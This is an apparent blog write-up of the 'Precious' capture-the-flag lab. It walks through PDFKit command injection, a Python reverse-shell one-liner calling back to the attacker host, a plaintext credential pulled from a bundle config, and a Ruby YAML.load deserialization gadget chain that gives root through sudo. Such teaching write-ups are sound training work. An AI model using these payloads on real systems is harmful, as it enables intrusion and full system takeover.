Those Are The Guys!

Two guys who do stuff on YouTube: [@thoseguys1938](https://www.youtube.com/@thoseguys1938)

View on GitHub
10 July 2023

Precious

by Reece

As a first stage we are going to do our usual nmap scan. Our host’s IP today is 10.10.11.189 but as always your IP may be different so if you’re following along and copy/pasting, it may be because you copied the IP address and didn’t change it.

nmap -sC -sV 10.10.11.189 -oN nmap.log
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-15 13:01 AEDT
Nmap scan report for 10.10.11.189
Host is up (0.044s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 845e13a8e31e20661d235550f63047d2 (RSA)
|   256 a2ef7b9665ce4161c467ee4e96c7c892 (ECDSA)
|_  256 33053dcd7ab798458239e7ae3c91a658 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.03 seconds

As usual, running our standard nmap scanning, using -sC -sV and -oN to run nmap. For reference -sC runs a set of default scripts against discovered ports (only run this when you have permission, or are in a CTF environment that allows it), -sV enables version detection and -oN <filename> outputs the results in a file in the same format that nmap writes to the terminal.

Okay, so what next? We’ve found two services running on the host. ssh can wait until later, it’s vary rarely the initial path in CTFs like these, so let’s look at the HTTP service on port 80. Very quickly we find trying to go to [http://10.10.11.189](http://10.10.11.189) redirects us to precious.htb. Okay, good, except we can’t get there because our computer doesn’t know the IP for the DNS name precious.htb so we’ll need to hope in to /etc/hosts and add 10.10.11.189 precious.htb .

Now we can navigate to precious.htb and have a look around.

What we see is this form asking us to convert a web page somewhere out there on the internet to a PDF.

Screenshot from 2023-02-15 13-22-38.png

This is great, we don’t have to do much searching around for the next point of exploit, this is probably it.

We spin up a quick python -m http.server 1234 on our machine (we did it in the directory we were using for this box). As you can see when we put http://<our_local_IP>:1234 we get the default python http server directory listing, containing the nmap file from above and a gobuster log that didn’t end up going anywhere so we don’t go in to that in this writeup.

Untitled

We briefly try a couple of potential RCE’s to see what happens (the below is just the directory listing). This was done blind, sometimes you can save time by just trying something without much investigation.

Screenshot from 2023-02-15 13-22-16.png

The python file just returns as text in a PDF, no bueno there.

Screenshot from 2023-02-15 13-22-23.png

But the PHP file returns an error (which we didn’t get a shot of, it doesn’t matter, as both these weren’t actually useful, let’s continue).

Okay, so PDF converts on the internet that can read web pages. If you’ve got time have a read of the below.

https://www.sidechannel.blog/en/html-to-pdf-converters-can-i-hack-them/

It appears there are two main problems with web-based PDF converters:

Let’s fire up Burp and have a look at the underlying request to see if we can get more context.

For this we just navigated to http://10.10.16.3:8000/?test%25 which errors out (replace the IP and port with your IP and port, naturally).

Untitled

If you look at the X-Runtime header you can see that the server is actually running Ruby, less common that Python and PHP in these things, but plenty of the internet still runs on it.

Now it’s time to return to our (somewhat ailing) friend, Google, to look for how we can leverage this knowledge. We have a PDF generator library used in Ruby. The sidechannel.blog article above did look at PDFKit for Ruby and even without specifying that in our search we see that there’s a snyk.io article for command injection with PDFKit. (snyk is a pretty good Software Composition Analysis tool).

Untitled

https://security.snyk.io/vuln/SNYK-RUBY-PDFKIT-2869795

An example given in that article is:

irb(main):060:0> puts PDFKit.new("http://example.com/?name=#{'%20`sleep 5`'}").command wkhtmltopdf --quiet [...] "http://example.com/?name=%20`sleep 5`" - => nil

While we can’t actually see the Ruby script being used to generate our PDF, it looks like it would be using something like [PDFKit.new](http://PDFKit.new) , and when you pass it a URL containing a URL encoded character in the query parameters (anything after a ? in a URL) and then run your command inside backticks (any old linux command) you should see the results return. Why this works? I’m no Ruby expert, but I’d say the URL Encoding makes Ruby handle the string differently and backticks are a way to send output to a shell, or potentially PDFKit runs wget or curl as a subprocess, and through this we can get additional commands run as a part of that subprocess.

Moving forwards we can set up our test with http://<your_host_ip>:<port>?%20whoami``

Untitled

Untitled

Oh wow! It works! That’s awesome. If you can’t see it it’s the word “ruby” in the above screenshot, that’s our user.

For reference we try a few different reverse shells, given we’ve got command exec on the server we’re not trying to use a ruby reverse shell (where we inject code in to the process running ruby), we can just shell out to python (via sh or bash , whichever ruby is shelling out to). We’re going to run python and use the sockets library. Don’t forget to change the IP in s.connect to your IP as this is a reverse shell, so the target is talking back to our machine instead of our machine talking to the server.

http://10.10.16.2:8000?%20`python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.2",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'`

Untitled

And we catch a shell. As we specified /bin/sh that’s what we get. Let’s try and upgrade so that we get all the nice things like not deleting our shell when we ctrl+c

Here we go. Inside our reverse shell:

python3 -c 'import pty; pty.spawn("/bin/bash")'
[CTRL]+Z
stty raw -echo;fg

After we ctrl+z we will end up back in our local session because we’ve backgrounded netcat. The final line sets up to pass through all input to our reverse shell and then foreground netcat again.

For a quick side trip we can have a look at the app code used to generate PDFs. An interesting note is that rather than update the version of PDFKit used the author here changes the reported version. This means that if you look at the PDF metadata you will see a reported version of PDFKit that isn’t vulnerable.

begin
           PDFKit.new(url).to_file(path)
          cmd = `exiftool -overwrite_original -all= -creator="Generated by pdfkit v0.8.6" -xmptoolkit= #{path}`
          send_file path, :disposition => 'attachment'
      rescue

We continue onwards.

We do some quick enumeration of the passwd file and there is another user on the box henry that likely holds our user flag.

ruby@precious:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
sshd:x:104:65534::/run/sshd:/usr/sbin/nologin
henry:x:1000:1000:henry,,,:/home/henry:/bin/bash
systemd-timesync:x:999:999:systemd Time Synchronization:/:/usr/sbin/nologin
systemd-coredump:x:998:998:systemd Core Dumper:/:/usr/sbin/nologin
ruby:x:1001:1001::/home/ruby:/bin/bash
_laurel:x:997:997::/var/log/laurel:/bin/false
ruby@precious:~$ cd /home/henry/
ruby@precious:/home/henry$ ls -la
total 24
drwxr-xr-x 2 henry henry 4096 Oct 26 08:28 .
drwxr-xr-x 4 root  root  4096 Oct 26 08:28 ..
lrwxrwxrwx 1 root  root     9 Sep 26 05:04 .bash_history -> /dev/null
-rw-r--r-- 1 henry henry  220 Sep 26 04:40 .bash_logout
-rw-r--r-- 1 henry henry 3526 Sep 26 04:40 .bashrc
-rw-r--r-- 1 henry henry  807 Sep 26 04:40 .profile
-rw-r----- 1 root  henry   33 Feb 25 20:02 user.txt
ruby@precious:/home/henry$ cat user.txt 
cat: user.txt: Permission denied

Looks like we need to find a way to jump across to Henry.

We try linpeas.sh (after manually checking capabilities, sudo -l , etc) but nothing interesting. There is a non-standard directory in the ruby user’s home directory (.bundle)

╔══════════╣ Searching root files in home dirs (limit 30)
/home/                                                                                                                                                                 
/home/henry/user.txt
/home/henry/.bash_history
/home/ruby/.bundle
/home/ruby/.bundle/config
/home/ruby/.bash_history

In the hidden bundle directory is a config file.

ruby@precious:~/.bundle$ ls -la
total 12
dr-xr-xr-x 2 root ruby 4096 Oct 26 08:28 .
drwxr-xr-x 3 ruby ruby 4096 Oct 26 08:28 ..
-r-xr-xr-x 1 root ruby   62 Sep 26 05:04 config

Looking at the contents of the file we find a username and password, presumably this was meant to simulate stored creds to pull from some sort of package manager.

uby@precious:~/.bundle$ cat config
---
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"

This is where SSH comes back in to play. Let’s SSH in as henry to our target.

ssh henry@precious.htb

We log in, and the first thing we check is sudo . Bonza! We’ve got permissions to do something. In the CTF meta (at least for the easier boxes on HTB) this is the path we need to take.

henry@precious:~$ sudo -l
Matching Defaults entries for henry on precious:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User henry may run the following commands on precious:
    (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb

So we take a look at what update_dependencies.rb is doing to figure out how to escalate:

henry@precious:~$ cat /opt/update_dependencies.rb
# Compare installed dependencies with those specified in "dependencies.yml"
require "yaml"
require 'rubygems'

# TODO: update versions automatically
def update_gems()
end

def list_from_file
    YAML.load(File.read("dependencies.yml"))
end

def list_local_gems
    Gem::Specification.sort_by{ |g| [g.name.downcase, g.version] }.map{|g| [g.name, g.version.to_s]}
end

gems_file = list_from_file
gems_local = list_local_gems

gems_file.each do |file_name, file_version|
    gems_local.each do |local_name, local_version|
        if(file_name == local_name)
            if(file_version != local_version)
                puts "Installed version differs from the one specified in file: " + local_name
            else
                puts "Installed version is equals to the one specified in file: " + local_name
            end
        end
    end
end

The code doesn’t do much apart from loading a YAML file. The YAML documentation clearly states not to load templates from untrusted sources.

Let’s see what sort of YAML structure we need.

There are tons of examples online showing how to get full RCE using YAML.load so lets try one: (https://staaldraad.github.io/post/2019-03-02-universal-rce-ruby-yaml-load/).

Looking at the PoC we have valid ruby code, but tabbed and in-lined in the format of Ruby. I’m not super familiar with Ruby, but it looks like you’re meant to be able to define code in these templates (maybe for some in-line logic?), but this also lets us build our ability to update.

---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: id
         method_id: :resolve

It looks like it is loading the file from the same directory /opt but unfortunately we don’t have write permissions there, but after a little Ruby refresher, we discover that Ruby actually reads files from the CWD when you run the script, not relative to the script location. so we can use anywhere we have write permissions, as long as we are in that directory when we run the script!

So in the henry home directory nano dependencies.yml and copy in the above code. Change the git_set: id to git_set: bash.

henry@precious:~$ sudo /usr/bin/ruby /opt/update_dependencies.rb
sh: 1: reading: not found
uid=0(root) gid=0(root) groups=0(root)
henry@precious:~$ sudo /usr/bin/ruby /opt/update_dependencies.rb
sh: 1: reading: not found
root@precious:/home/henry# cat /root/root.txt
e3d9..e43
root@precious:/home/henry#

And get root. And from root we get the flag.

Fin.

Bonus content:

Looks like there is a script on Exploit-DB to run commands and generate a full reverse shell for the initial foothold (pdfkit)

https://www.exploit-db.com/exploits/51293

tags: ctf - vulnhub